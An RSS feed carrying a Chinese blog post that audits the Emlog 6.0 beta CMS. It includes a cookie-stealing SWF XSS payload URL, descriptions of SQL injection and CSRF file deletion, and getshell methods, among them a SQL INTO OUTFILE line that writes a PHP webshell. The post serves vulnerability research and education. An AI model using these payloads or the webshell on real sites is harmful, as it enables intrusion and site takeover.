<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>emlog &#8211; ChaBug安全</title>
	<atom:link href="/tags/emlog/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Fri, 23 Aug 2019 01:20:11 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>[小东]代码审计之Emlog 6.0 Beta</title>
		<link>/web/596.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 03 Nov 2018 05:08:10 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[emlog]]></category>
		<guid isPermaLink="false">/?p=596</guid>

					<description><![CDATA[Emlog 6.0 beta版本，这可能是最后一篇关于PHP语言CMS的代码审计文章，此次将详细记录完整的审计过程。 *2018-11-02 之前这篇文章发到 Freebuf 上面...]]></description>
										<content:encoded><![CDATA[<blockquote><p>Emlog 6.0 beta版本，这可能是最后一篇关于PHP语言CMS的<span class="wpcom_tag_link"><a href="/tags/%e4%bb%a3%e7%a0%81%e5%ae%a1%e8%ae%a1" title="代码审计" target="_blank">代码审计</a></span>文章，此次将详细记录完整的审计过程。</p></blockquote>
<p>*2018-11-02 之前这篇文章发到 Freebuf 上面的由于某些原因删除了，却被某些爬虫网站给抓取了，现在公开，希望大家做一个合理的学习，切勿用于非法用途！官网也更新了<code>6.0</code>正式版，现在作为最后公布也不存在不妥之处，再次声明：仅供学习参考，任何由个人行为产生的违法犯罪结果自行承担！</p>
<p>首发地址：<a href="http://www.sohu.com/a/246790332_354899" target="_blank" rel="noopener noreferrer">http://www.sohu.com/a/246790332_354899</a></p>
<h2 id="h2--"><a class="reference-link" name="文章涉及漏洞已上交给国家，所以不要多想了"></a>文章涉及漏洞已上交给国家，所以不要多想了</h2>
<p>文章基本上完整记录小东的对此<code>CMS</code>审计过程，或许显得繁琐，但代码审计的过程就是这样，发现可能项，然后精心构造去验证，这过程中我们会遇到很多次碰壁，坚持测试，思维活跃一些，基本都会有所收获，诚挚希望后来者能够耐心阅读下去，当然最好也能够有所启发。</p>
<p>大家需要注意的一点是，代码审计是为了学习并在SDL中避免发生类似的错误，同时也是帮助开源系统修复相关问题，并不是去为了获得什么<code>0day~</code></p>
<h3 id="h3-0x00-emlog-6-0-beta"><a class="reference-link" name="0x00 Emlog 6.0 beta"></a>0x00 Emlog 6.0 beta</h3>
<p><a class="swipebox" href="https://upload-images.jianshu.io/upload_images/6661013-a2fb12d8a76eba91.png" target="_blank" rel="noopener noreferrer"><img src="https://upload-images.jianshu.io/upload_images/6661013-a2fb12d8a76eba91.png" alt="EMLOG 6.0" /></a></p>
<p>官网地址：<a href="https://www.emlog.net/" target="_blank" rel="noopener noreferrer">https://www.emlog.net/</a></p>
<p><code>Emlog 6.0 beta</code>下载地址：<a href="https://www.emlog.net/download" target="_blank" rel="noopener noreferrer">https://www.emlog.net/download</a></p>
<p>由于官方限制论坛会员(注册付费)才可下载，这里提供一个原版下载地址：<a href="https://www.lanzous.com/i1l5gad" target="_blank" rel="noopener noreferrer">https://www.lanzous.com/i1l5gad</a></p>
<p>文件校验：</p>
<pre class="lang:default decode:true ">文件: C:\Users\stdy\Desktop\emlog_6.0.0.zip
大小: 607725 字节
修改时间: 2018年8月6日, 20:53:50
MD5: 7844FE6FEAE7AF68052DC878B8811FAC
SHA1: E06A050D2A0AA879DB9F5CFCAA4703B6AC7B8352
CRC32: 4963E489</pre>
<p>&nbsp;</p>
<p>博主的博客就是基于此套博客系统，其实很多圈内大佬都在使用，对于本款<code>CMS</code>的审计文章却并没有，小东就来以此<code>CMS</code>作为<code>PHP代码审计</code>的封笔之作。</p>
<hr />
<h3 id="h3-0x01-"><a class="reference-link" name="0x01 初步测试"></a>0x01 初步测试</h3>
<p>首先，我们得先安装！安装成功后的首页界面：</p>
<p><a class="swipebox" href="https://upload-images.jianshu.io/upload_images/6661013-29c5201dcd4ce373.png" target="_blank" rel="noopener noreferrer"><img src="https://upload-images.jianshu.io/upload_images/6661013-29c5201dcd4ce373.png" alt="安装成功" /></a></p>
<p>默认后台登陆地址：<code>./admin/</code></p>
<p>登陆成功后：</p>
<p><a class="swipebox" href="https://upload-images.jianshu.io/upload_images/6661013-456469a4da3eb0d9.png" target="_blank" rel="noopener noreferrer"><img src="https://upload-images.jianshu.io/upload_images/6661013-456469a4da3eb0d9.png" alt="后台界面" /></a></p>
<p>闲话一句，感觉<code>6.0</code>比<code>5.3.1</code>版本好看太多了~</p>
<p>安装过后，我们应该尽可能全面搜集关于此<code>CMS</code>的信息，这对于我们审计代码有很大的帮助。</p>
<p>所以，分析得到此<code>CMS</code>的大致结构，<code>Emlog</code>是一个 <code>MVC</code> 的设计模式，大致的结构如图：</p>
<p><a class="swipebox" href="https://upload-images.jianshu.io/upload_images/6661013-49efd54cee3301f7.png" target="_blank" rel="noopener noreferrer"><img src="https://upload-images.jianshu.io/upload_images/6661013-49efd54cee3301f7.png" alt="emlog结构" /></a></p>
<p>因此我们主要会分析 <code>admin</code> 和 <code>include</code> 文件夹下的文件。</p>
<p>数据库表：</p>
<p><a class="swipebox" href="https://upload-images.jianshu.io/upload_images/6661013-59467ed192717b78.png" target="_blank" rel="noopener noreferrer"><img src="https://upload-images.jianshu.io/upload_images/6661013-59467ed192717b78.png" alt="DATABASE" /></a></p>
<p>在根目录的<code>init.php</code> 文件中</p>
<p><a class="swipebox" href="https://upload-images.jianshu.io/upload_images/6661013-d697728f7f32ed3e.png" target="_blank" rel="noopener noreferrer"><img src="https://upload-images.jianshu.io/upload_images/6661013-d697728f7f32ed3e.png" alt="报错等级" /></a></p>
<p>报错等级指定为<code>7</code>：</p>
<pre class="lang:default decode:true ">&lt;?php
//禁用错误报告
error_reporting(0);

//报告运行时错误
error_reporting(E_ERROR | E_WARNING | E_PARSE);

//报告所有错误
error_reporting(E_ALL);

error_reporting(7);
/*
设置php错误检测级别
E_ERROR - 致命性运行时错 (1)
E_WARNING - 运行时警告（非致命性错）(2)
E_PARSE - 编译时解析错误 (4)
1+2+4 = 7
*/
?&gt;</pre>
<p>&nbsp;</p>
<hr />
<h3 id="h3-0x02-"><a class="reference-link" name="0x02 使用漏洞扫描器"></a>0x02 使用漏洞扫描器</h3>
<p>可能有朋友就会说你为什么要使用“漏扫”呐？不是代码审计吗？</p>
<p>这里要纠正一下这个观点，漏扫其实就是一个自动化黑盒测试，在本地环境下，我们不会影响任何的业务。</p>
<p>通过漏扫出的漏洞能够方便我们快速定位漏洞位置，这样是一种高效的方式，这也是在团队里的成员通过漏扫<code>Get</code>了百度的几个高危漏洞给小东的启示。</p>
<p>这里使用了一款重型扫描器 <code>AWVS</code> ，得到的报告如下：</p>
<p><a class="swipebox" href="https://upload-images.jianshu.io/upload_images/6661013-1e1100cd65ae5e1e.png" target="_blank" rel="noopener noreferrer"><img src="https://upload-images.jianshu.io/upload_images/6661013-1e1100cd65ae5e1e.png" alt="结果" /></a></p>
<p>不过在本地扫描时，使用的是 <code>XAMPP</code> <code>windows10</code> <code>PHP5.6</code>的环境，所以导致漏洞报告中很多误报，漏扫主要扫描出了几个<code>XSS漏洞</code>和<code>CSRF漏洞</code></p>
<p>所以我们首先验证这两类的漏洞</p>
<hr />
<h3 id="h3-0x03-xss"><a class="reference-link" name="0x03 文章编辑器储存性XSS"></a>0x03 文章编辑器储存性XSS</h3>
<p>在后台的编辑器处，编辑文章<code>./admin/admin_log.php</code></p>
<p><a class="swipebox" href="https://upload-images.jianshu.io/upload_images/6661013-e99de332c814a8b0.png" target="_blank" rel="noopener noreferrer"><img src="https://upload-images.jianshu.io/upload_images/6661013-e99de332c814a8b0.png" alt="编辑器XSS" /></a></p>
<p>成功发布后，来到首页</p>
<p><a class="swipebox" href="https://upload-images.jianshu.io/upload_images/6661013-3f6e714f71e89583.png" target="_blank" rel="noopener noreferrer"><img src="https://upload-images.jianshu.io/upload_images/6661013-3f6e714f71e89583.png" alt="emlogXSS" /></a></p>
<p>进入文章页后</p>
<p><a class="swipebox" href="https://upload-images.jianshu.io/upload_images/6661013-944d8dc9816730d3.png" target="_blank" rel="noopener noreferrer"><img src="https://upload-images.jianshu.io/upload_images/6661013-944d8dc9816730d3.png" alt="文章页XSS" /></a></p>
<p>都弹窗了，这里大家可能要说没法儿利用，但是<code><span class="wpcom_tag_link"><a href="/tags/emlog" title="emlog" target="_blank">emlog</a></span></code>设计了 <code>会员/作者</code> 功能，在<code>emlog</code>中的某些模版中可以前台注册会员，会员登录后可以编辑发表文章，评论等等功能。<code>Emlog</code>官方还提供了文章投稿插件，都是调用了官方默认的<code>Kindeditor</code>编辑器，这个编辑器自带<code>HTML编辑模式</code>，就算不带这个模式，攻击者也可以抓包修改达到攻击目的。</p>
<p>为什么前台没过滤呐？为了文章有支持<code>HTML</code>代码输出，所以对于<code>kindeditor</code>的保存输出内容并没有转义。</p>
<p><a class="swipebox" href="https://upload-images.jianshu.io/upload_images/6661013-138de800ef7f6813.png" target="_blank" rel="noopener noreferrer"><img src="https://upload-images.jianshu.io/upload_images/6661013-138de800ef7f6813.png" alt="emlog会员/投稿" /></a></p>
<p>修复建议：参考其他<code>CMS</code>做好文章内容关键词的检测，并做好过滤或者转义</p>
<hr />
<h3 id="h3-0x04-uploadify-swf-xss"><a class="reference-link" name="0x04 Uploadify SWF XSS"></a>0x04 Uploadify SWF XSS</h3>
<p><code>Emlog</code>使用了 <code>uploadify.swf</code> 的方式上传文件，文件路径 <code>/include/lib/js/uploadify/uploadify.swf</code></p>
<p>构造Payload:<code>http://www.test.com//include/lib/js/uploadify/uploadify.swf?uploadifyID=00%22%29%29;}catch%28e%29{alert%281%29;}//%28%22&amp;movieName=%22])}catch(e){if(!window.x){window.x=1;alert(document.cookie)}}//&amp;.swf</code></p>
<p>效果，可无视浏览器<code>filter</code>：</p>
<p><a class="swipebox" href="https://upload-images.jianshu.io/upload_images/6661013-8dd4125084317f8e.png" target="_blank" rel="noopener noreferrer"><img src="https://upload-images.jianshu.io/upload_images/6661013-8dd4125084317f8e.png" alt="SWF XSS" /></a></p>
<hr />
<h3 id="h3-0x05-xss"><a class="reference-link" name="0x05 反射型XSS"></a>0x05 反射型XSS</h3>
<p>此处的<code>XSS</code>主要发生在<code>cookie</code>上，因为某些页面如 <code>admin/admin_log</code>,<code>admin/sort.php</code>,<code>admin/link.php</code>页面需要在表单中添加了<code>hidden</code>属性的<code>token</code>值，而这个<code>token</code>值直接从用户的<code>cookie</code>中取得，导致了一个反射型<code>XSS</code></p>
<p>拦截抓包修改<code>cookie</code>中的<code>token</code>值如下：</p>
<p><a class="swipebox" href="https://upload-images.jianshu.io/upload_images/6661013-bdd189303c5ca1a5.png" target="_blank" rel="noopener noreferrer"><img src="https://upload-images.jianshu.io/upload_images/6661013-bdd189303c5ca1a5.png" alt="payload" /></a></p>
<p>效果：</p>
<p><a class="swipebox" href="https://upload-images.jianshu.io/upload_images/6661013-7f0e863b328a29db.png" target="_blank" rel="noopener noreferrer"><img src="https://upload-images.jianshu.io/upload_images/6661013-7f0e863b328a29db.png" alt="COOKIE XSS" /></a></p>
<p>其次验证了 <code>CSRF</code> 漏洞，这个是前台的搜索框的<code>CSRF</code>根本没什么价值</p>
<p>然后是管理员添加友情链接的<code>XSS</code>，经过验证并不存在，后台函数会限制字数</p>
<hr />
<blockquote><p>然后就是我们开始进行原始的代码审计工作了，主要借用了<code>Seay代码审计工具</code>和<code>Rips</code>，这种审计工具主要依靠正则匹配可能导致危险的<code>php函数</code>来作为可能存在漏洞的判断，半自动化的方式，在一定程度上缓解了代码审计的压力。</p></blockquote>
<h3 id="h3-0x06-"><a class="reference-link" name="0x06 基本函数"></a>0x06 基本函数</h3>
<p>首先看了一下文件操作相关的函数，发现经常用到 <code>View::getView</code> 这一方法，</p>
<p>在<code>include/lib/view.php</code> 文件中，源码如下：</p>
<pre class="lang:default decode:true ">&lt;?php
/**
 * 视图控制
 * @copyright (c) Emlog All Rights Reserved
 */

class View {
    public static function getView($template, $ext = '.php') {
        if (!is_dir(TEMPLATE_PATH)) {
            emMsg('当前使用的模板已被删除或损坏，请登录后台更换其他模板。', BLOG_URL . 'admin/template.php');
        }
        return TEMPLATE_PATH . $template . $ext;
    }

    public static function output() {
        $content = ob_get_clean();
        ob_start();
        echo $content;
        ob_end_flush();
        exit;
    }
}</pre>
<p>&nbsp;</p>
<p>同时作为权限控制的 <code>LoginAuth::checkToken()</code>，在 <code>\include\lib\loginauth.php</code>下约209行开始</p>
<pre class="lang:default decode:true ">/**
* 生成token，防御CSRF攻击
*/
public static function genToken() {
    $token_cookie_name = 'EM_TOKENCOOKIE_' . md5(substr(AUTH_KEY, 16, 32) . UID);
    if (isset($_COOKIE[$token_cookie_name])) {
        return $_COOKIE[$token_cookie_name];
    } else {
        $token = md5(getRandStr(16));
        setcookie($token_cookie_name, $token, 0, '/');
        return $token;
    }
}

/**
* 检查token，防御CSRF攻击
*/
public static function checkToken(){
    $token = isset($_REQUEST['token']) ? addslashes($_REQUEST['token']) : '';
    if ($token != self::genToken()) {
        emMsg('权限不足，token error');
    }
}</pre>
<p>&nbsp;</p>
<p>验证了<code>Rips</code>扫描出的文件包含问题（第一次使用<code>Rips</code>），发现无法复现，因为<code>Rips</code>扫描的时候是以文件形式，并没有参照程序的严格逻辑，导致的误报！</p>
<p>来到 <code>\admin\admin_log.php</code> 文件，从第78行开始：</p>
<pre class="lang:default decode:true ">//操作文章
if ($action == 'operate_log') {
    $operate = isset($_REQUEST['operate']) ? $_REQUEST['operate'] : '';
    $pid = isset($_POST['pid']) ? $_POST['pid'] : '';
    $logs = isset($_POST['blog']) ? array_map('intval', $_POST['blog']) : array();
    $sort = isset($_POST['sort']) ? intval($_POST['sort']) : '';
    $author = isset($_POST['author']) ? intval($_POST['author']) : '';
    $gid = isset($_GET['gid']) ? intval($_GET['gid']) : '';

    LoginAuth::checkToken();

    if ($operate == '') {
        emDirect("./admin_log.php?pid=$pid&amp;error_b=1");
    }
    if (empty($logs) &amp;&amp; empty($gid)) {
        emDirect("./admin_log.php?pid=$pid&amp;error_a=1");
    }

    switch ($operate) {
        case 'del':
            foreach ($logs as $val)
            {
                doAction('before_del_log', $val);
                $Log_Model-&gt;deleteLog($val);
                doAction('del_log', $val);
            }
            $CACHE-&gt;updateCache();
            if ($pid == 'draft')
            {
                emDirect("./admin_log.php?pid=draft&amp;active_del=1");
            } else{
                emDirect("./admin_log.php?active_del=1");
            }
            break;
        case 'top':
            foreach ($logs as $val)
            {
                $Log_Model-&gt;updateLog(array('top'=&gt;'y'), $val);
            }
            emDirect("./admin_log.php?active_up=1");
            break;
        case 'sortop':
            foreach ($logs as $val)
            {
                $Log_Model-&gt;updateLog(array('sortop'=&gt;'y'), $val);
            }
            emDirect("./admin_log.php?active_up=1");
            break;
        case 'notop':
            foreach ($logs as $val)
            {
                $Log_Model-&gt;updateLog(array('top'=&gt;'n', 'sortop'=&gt;'n'), $val);
            }
            emDirect("./admin_log.php?active_down=1");
            break;
        case 'hide':
            foreach ($logs as $val)
            {
                $Log_Model-&gt;hideSwitch($val, 'y');
            }
            $CACHE-&gt;updateCache();
            emDirect("./admin_log.php?active_hide=1");
            break;

        ...//中间的代码要验证管理身份，故省略

        case 'uncheck':
            if (ROLE != ROLE_ADMIN)
            {
                emMsg('权限不足！','./');
            }
            $Log_Model-&gt;checkSwitch($gid, 'n');
            $CACHE-&gt;updateCache();
            emDirect("./admin_log.php?active_unck=1");
            break;
    }
}</pre>
<p>&nbsp;</p>
<p>那么我们尝试越权删除文章<br />
<code>http://www.test.com/admin/admin_log.php?action=operate_log&amp;operate=del&amp;blog=29&amp;token=994132a26661c8c244a91063c4701a7e</code> 失败了提示权限不足，来到<code>\include\model\log_model.php</code> 发现</p>
<pre class="lang:default decode:true ">/**
 * 删除文章
 *
 * @param int $blogId
 */
function deleteLog($blogId) {
    $author = ROLE == ROLE_ADMIN ? '' : 'and author=' . UID;
    $this-&gt;db-&gt;query("DELETE FROM " . DB_PREFIX . "blog where gid=$blogId $author");  //这里和上一句限制了作者只能删除自己的文章
    if ($this-&gt;db-&gt;affected_rows() &lt; 1) {
        emMsg('权限不足！', './');
    }
    // 评论
    $this-&gt;db-&gt;query("DELETE FROM " . DB_PREFIX . "comment where gid=$blogId");
    // 标签
    $this-&gt;db-&gt;query("UPDATE " . DB_PREFIX . "tag SET gid= REPLACE(gid,',$blogId,',',') WHERE gid LIKE '%" . $blogId . "%' ");
    $this-&gt;db-&gt;query("DELETE FROM " . DB_PREFIX . "tag WHERE gid=',' ");
    // 附件
    $query = $this-&gt;db-&gt;query("select filepath from " . DB_PREFIX . "attachment where blogid=$blogId ");
    while ($attach = $this-&gt;db-&gt;fetch_array($query)) {
        if (file_exists($attach['filepath'])) {
            $fpath = str_replace('thum-', '', $attach['filepath']);
            if ($fpath != $attach['filepath']) {
                @unlink($fpath);
            }
            @unlink($attach['filepath']);
        }
    }
    $this-&gt;db-&gt;query("DELETE FROM " . DB_PREFIX . "attachment where blogid=$blogId");
}</pre>
<p>&nbsp;</p>
<p>这个越权漏洞不存在，同时看了下面的函数判断也是做了类似的处理</p>
<p>到这里其实我们对于整个 <code>CMS</code> 的架构已经较为熟悉了，基本能根据对应函数功能，直接手动找到对应的函数位置。</p>
<p>令人伤心的是，通过 <code>Rips</code> 代码审计工具得到的结果，一个都没复现成功…</p>
<h3 id="h3-0x07-seay-"><a class="reference-link" name="0x07 Seay辅助审计"></a>0x07 Seay辅助审计</h3>
<p>相信很多人都知道法师的这款工具，主要还是因为中文，用着方便，但是完全依靠正则的方式去匹配函数，只能发现那些函数直接的控制漏洞，逻辑漏洞有时候可以根据逆推可以发现，但这种情况很少。</p>
<p>使用这款工具扫描出来共<code>120</code>个可能的情况（根据经验<code>98%</code>以上都是没法复现的），然后一个个排查，有的例如<code>SQL</code>语句反单引号这样的，很容易就可以判断给忽律，就不需要考虑。</p>
<p>在 <code>/admin/store.php</code> 看到这样一串代码：</p>
<p><a class="swipebox" href="https://upload-images.jianshu.io/upload_images/6661013-0af428a01d5a4f76.png" target="_blank" rel="noopener noreferrer"><img src="https://upload-images.jianshu.io/upload_images/6661013-0af428a01d5a4f76.png" alt="store.php" /></a></p>
<p>这里我的思考是，如果在<code>emlog</code>官网有<code>URL</code>跳转链接的话，那么就可以构造下载远程任意的文件到网站，但是测试了官网没有跳转链接，那么我们尝试下载别的插件（链接跳转等），或者有黑客精心构造了一个插件或者模版，然后再利用，这也算是一个可行的方案。</p>
<p>此处需要管理员权限，作为代码审计的一个参考思路，不是要发现什么<code>0day</code>，而是希望大家能够在代码审计方面有所收获。</p>
<h4 id="h4--1-sql-"><a class="reference-link" name="(1). SQL注入"></a>(1). SQL注入</h4>
<p>对于<code>SQL注入</code>，<code>Seay工具</code>一直都没准过，这里小东推荐方式，使用全局搜索 <code>$_GET[</code> 或 <code>$_PSOT[</code>，然后看看是否代入了<code>SQL</code>查询，然后一一验证。</p>
<p>然后我发现了这样一个没有过滤IP参数</p>
<p><a class="swipebox" href="https://upload-images.jianshu.io/upload_images/6661013-72358170012a7ac6.png" target="_blank" rel="noopener noreferrer"><img src="https://upload-images.jianshu.io/upload_images/6661013-72358170012a7ac6.png" alt="IP参数" /></a></p>
<p>然后到 <code>admin/comment.php</code> 中查看</p>
<p><a class="swipebox" href="https://upload-images.jianshu.io/upload_images/6661013-b1d1d5a5e60def53.png" target="_blank" rel="noopener noreferrer"><img src="https://upload-images.jianshu.io/upload_images/6661013-b1d1d5a5e60def53.png" alt="comment.php" /></a></p>
<p>再看 <code>delCommentByIp($ip)</code> 函数</p>
<p><a class="swipebox" href="https://upload-images.jianshu.io/upload_images/6661013-dd06610286d0dd28.png" target="_blank" rel="noopener noreferrer"><img src="https://upload-images.jianshu.io/upload_images/6661013-dd06610286d0dd28.png" alt="IP参数sql" /></a></p>
<p>由此我们可以确定了<code>SQL</code>注入的存在</p>
<p>验证如下：</p>
<p><a class="swipebox" href="https://upload-images.jianshu.io/upload_images/6661013-bf9fe0d6a88e00c8.png" target="_blank" rel="noopener noreferrer"><img src="https://upload-images.jianshu.io/upload_images/6661013-bf9fe0d6a88e00c8.png" alt="SQL注入" /></a></p>
<h4 id="h4--2-csrf-"><a class="reference-link" name="(2).一个CSRF+任意文件删除"></a>(2).一个CSRF+任意文件删除</h4>
<p><code>$_GET[]</code>型分析完以后，就寻找<code>$_POST[]</code>的，然后在<code>admin/data.php</code>文件中找到了如下代码</p>
<p><a class="swipebox" href="https://upload-images.jianshu.io/upload_images/6661013-de45868624b52e21.png" target="_blank" rel="noopener noreferrer"><img src="https://upload-images.jianshu.io/upload_images/6661013-de45868624b52e21.png" alt="data.php" /></a></p>
<p>这里我们发现，并没有验证<code>toknen</code>，那么可以构造<code>csrf</code>页面，这里小东就不演示了，直接<code>BURP</code>验证一下任意文件删除吧，关于<code>CSRF</code>，只要没有调用上面基础函数部分说到的 <code>LoginAuth::checkToken()</code> 方法的，都存在<code>CSRF</code></p>
<p><a class="swipebox" href="https://upload-images.jianshu.io/upload_images/6661013-fc6924a71e94f768.png" target="_blank" rel="noopener noreferrer"><img src="https://upload-images.jianshu.io/upload_images/6661013-fc6924a71e94f768.png" alt="CSRF+任意删除" /></a></p>
<p>这里就成功删除了文件</p>
<h4 id="h4--3-tag-sql-"><a class="reference-link" name="(3).TAG SQL注入"></a>(3).TAG SQL注入</h4>
<p>在POST参数中发现此处并没有过滤，同时在 <code>deleteTag()</code> 函数中，代入了<code>SQL</code>查询，因此又是一个<code>SQL注入</code></p>
<p><a class="swipebox" href="https://upload-images.jianshu.io/upload_images/6661013-b056cbf17c99b406.png" target="_blank" rel="noopener noreferrer"><img src="https://upload-images.jianshu.io/upload_images/6661013-b056cbf17c99b406.png" alt="tag sql" /></a></p>
<p>来看<code>deleteTag()</code>函数：</p>
<p><a class="swipebox" href="https://upload-images.jianshu.io/upload_images/6661013-55522e37889393c9.png" target="_blank" rel="noopener noreferrer"><img src="https://upload-images.jianshu.io/upload_images/6661013-55522e37889393c9.png" alt="deletetag" /></a></p>
<p>又调用了<code>getBlogIdsFromTagId()</code>函数，同样没有过滤</p>
<p><a class="swipebox" href="https://upload-images.jianshu.io/upload_images/6661013-27c9cece8428ce57.png" target="_blank" rel="noopener noreferrer"><img src="https://upload-images.jianshu.io/upload_images/6661013-27c9cece8428ce57.png" alt="getBlogIdsFromTagId" /></a></p>
<p>因此使用抓包验证一下：</p>
<p><a class="swipebox" href="https://upload-images.jianshu.io/upload_images/6661013-7e8f800755a07e7a.png" target="_blank" rel="noopener noreferrer"><img src="https://upload-images.jianshu.io/upload_images/6661013-7e8f800755a07e7a.png" alt="验证" /></a></p>
<p>但是其他语句利用时候并没有回显，小东不知道什么原因，没仔细探究，但是可以采用时间盲注的方式。</p>
<p>至此，利用工具的半自动化审计已经结束，下面准备手工测试</p>
<hr />
<h3 id="h3-0x08-"><a class="reference-link" name="0x08 手工测试"></a>0x08 手工测试</h3>
<p>手工测试也不是单纯的翻文件，应当以灰盒测试为主导，从<code>逻辑</code>、<code>权限</code>、<code>敏感信息</code>等方面入手</p>
<h4 id="h4--1-"><a class="reference-link" name="(1).后台登陆存在暴力破解风险"></a>(1).后台登陆存在暴力破解风险</h4>
<p>在这里，我之前提到过的验证码未及时销毁的历史问题还存在，此处不再详细叙述，请参考<a href="https://blog.csdn.net/dyboy2017/article/details/78433748" target="_blank" rel="noopener noreferrer">https://blog.csdn.net/dyboy2017/article/details/78433748</a></p>
<h4 id="h4--2-"><a class="reference-link" name="(2).报错信息导致物理路径泄漏"></a>(2).报错信息导致物理路径泄漏</h4>
<p>大家不要以为这是小事情，当<code>sql注入</code>存在的时候，我们有机会是可以直接写<code>shell</code>文件，安全无小事</p>
<p>一个低权限的方式，在游客的条件下测试一下</p>
<p><a class="swipebox" href="https://upload-images.jianshu.io/upload_images/6661013-506ee203eb4bf3e7.png" target="_blank" rel="noopener noreferrer"><img src="https://upload-images.jianshu.io/upload_images/6661013-506ee203eb4bf3e7.png" alt="物理路径" /></a></p>
<p>payload:<code>http://www.test.com/admin/attachment.php?action[]=</code></p>
<p>原因是：<code>addslashes() expects parameter 1</code></p>
<h4 id="h4--3-cookie-"><a class="reference-link" name="(3).Cookie可计算"></a>(3).Cookie可计算</h4>
<p>在<code>include/lib/loginauth.php</code>中<code>134</code>行开始</p>
<pre class="lang:default decode:true ">/**
 * 写用于登录验证cookie
 *
 * @param int $user_id User ID
 * @param bool $remember Whether to remember the user or not
 */
public static function setAuthCookie($user_login, $ispersis = false) {
    if ($ispersis) {
        $expiration  = time() + 3600 * 24 * 30 * 12;
    } else {
        $expiration = null;
    }
    $auth_cookie_name = AUTH_COOKIE_NAME;
    $auth_cookie = self::generateAuthCookie($user_login, $expiration);
    setcookie($auth_cookie_name, $auth_cookie, $expiration,'/');
}

/**
 * 生成登录验证cookie
 *
 * @param int $user_id user login
 * @param int $expiration Cookie expiration in seconds
 * @return string Authentication cookie contents
 */
private static function generateAuthCookie($user_login, $expiration) {
    $key = self::emHash($user_login . '|' . $expiration);
    $hash = hash_hmac('md5', $user_login . '|' . $expiration, $key);
    $cookie = $user_login . '|' . $expiration . '|' . $hash;
    return $cookie;
}</pre>
<p>&nbsp;</p>
<p>可以看到此处的cookie都可以直接计算得到，只需要知道根目录下config.php中的</p>
<pre class="lang:default decode:true ">//auth key
define('AUTH_KEY','dx1&amp;CH^En86GZnxd9CLO7GwC0Q5eYHKM450f598bbd148b6a62f7d263623e31c3');
//cookie name
define('AUTH_COOKIE_NAME','EM_AUTHCOOKIE_VzfVniPWDqd1LM3BFocnrcjpAGH4lUbz');</pre>
<p>&nbsp;</p>
<p>即可。</p>
<h4 id="h4--4-xss"><a class="reference-link" name="(4).侧边栏存储性XSS"></a>(4).侧边栏存储性XSS</h4>
<p>为了同样是为了支持<code>HTML</code>代码的输出，没有转义对应的脚本代码标签，导致了存储性的<code>XSS</code>存在</p>
<p><a class="swipebox" href="https://upload-images.jianshu.io/upload_images/6661013-0ac6e7357482a787.png" target="_blank" rel="noopener noreferrer"><img src="https://upload-images.jianshu.io/upload_images/6661013-0ac6e7357482a787.png" alt="侧边栏XSS" /></a></p>
<hr />
<h3 id="h3-0x09-getshell"><a class="reference-link" name="0x09 Getshell"></a>0x09 Getshell</h3>
<h4 id="h4--1-sql-shell"><a class="reference-link" name="(1).SQL注入拿到shell"></a>(1).SQL注入拿到shell</h4>
<p>如上所讲有SQL注入的存在，同时可以获取到物理路径，那么就可以直接写Shell</p>
<h4 id="h4--2-zip"><a class="reference-link" name="(2).后台插件上传zip"></a>(2).后台插件上传zip</h4>
<p>因为后台可以直接上传本地zip文件，这里我们去官网下载一个插件，同时把我们的shell文件（比如dyboy.php）加入zip，上传安装这个插件就可以了，然后shell地址为：<code>http://www.test.com/content/plugins/插件名/dyboy.php</code></p>
<h4 id="h4--3-zip"><a class="reference-link" name="(3).后台模版上传zip"></a>(3).后台模版上传zip</h4>
<p>和插件同样的原理，这里的shell地址为：<code>http://www.test.com/content/templates/模版名/dyboy.php</code></p>
<h4 id="h4--4-shell"><a class="reference-link" name="(4).备份文件拿shell"></a>(4).备份文件拿shell</h4>
<p>后台的数据功能处，先备份一个，然后下载到本地，加入<code>SELECT "&lt;?php <a class="at-link" href="https://github.com/assert">@assert</a>($_POST['dyboy'])?&gt;" into outfile 'D:\\Server\\htdocs\\safe\\dyboy.php';</code></p>
<p>然后导入备份恢复本地数据即可</p>
<p>这样就在网站个目录生成了一个<code>dyboy.php</code>的<code>shell</code></p>
<hr />
<h3 id="h3-0x10-"><a class="reference-link" name="0x10 总结"></a>0x10 总结</h3>
<p><code>EMLOG</code>是一个非常小巧轻快的博客系统，运行占用资源非常低，所以非常适合博主用作博客用途，其实只要不开启会员功能，没有弱口令就没有什么大的威胁。以此文章作为<code>PHP代码审计的终稿</code>，文章所述方法同样适用于其他的<code>CMS代码审计</code>和分析，创作不易，也希望本文章能对大家能有所启示。</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
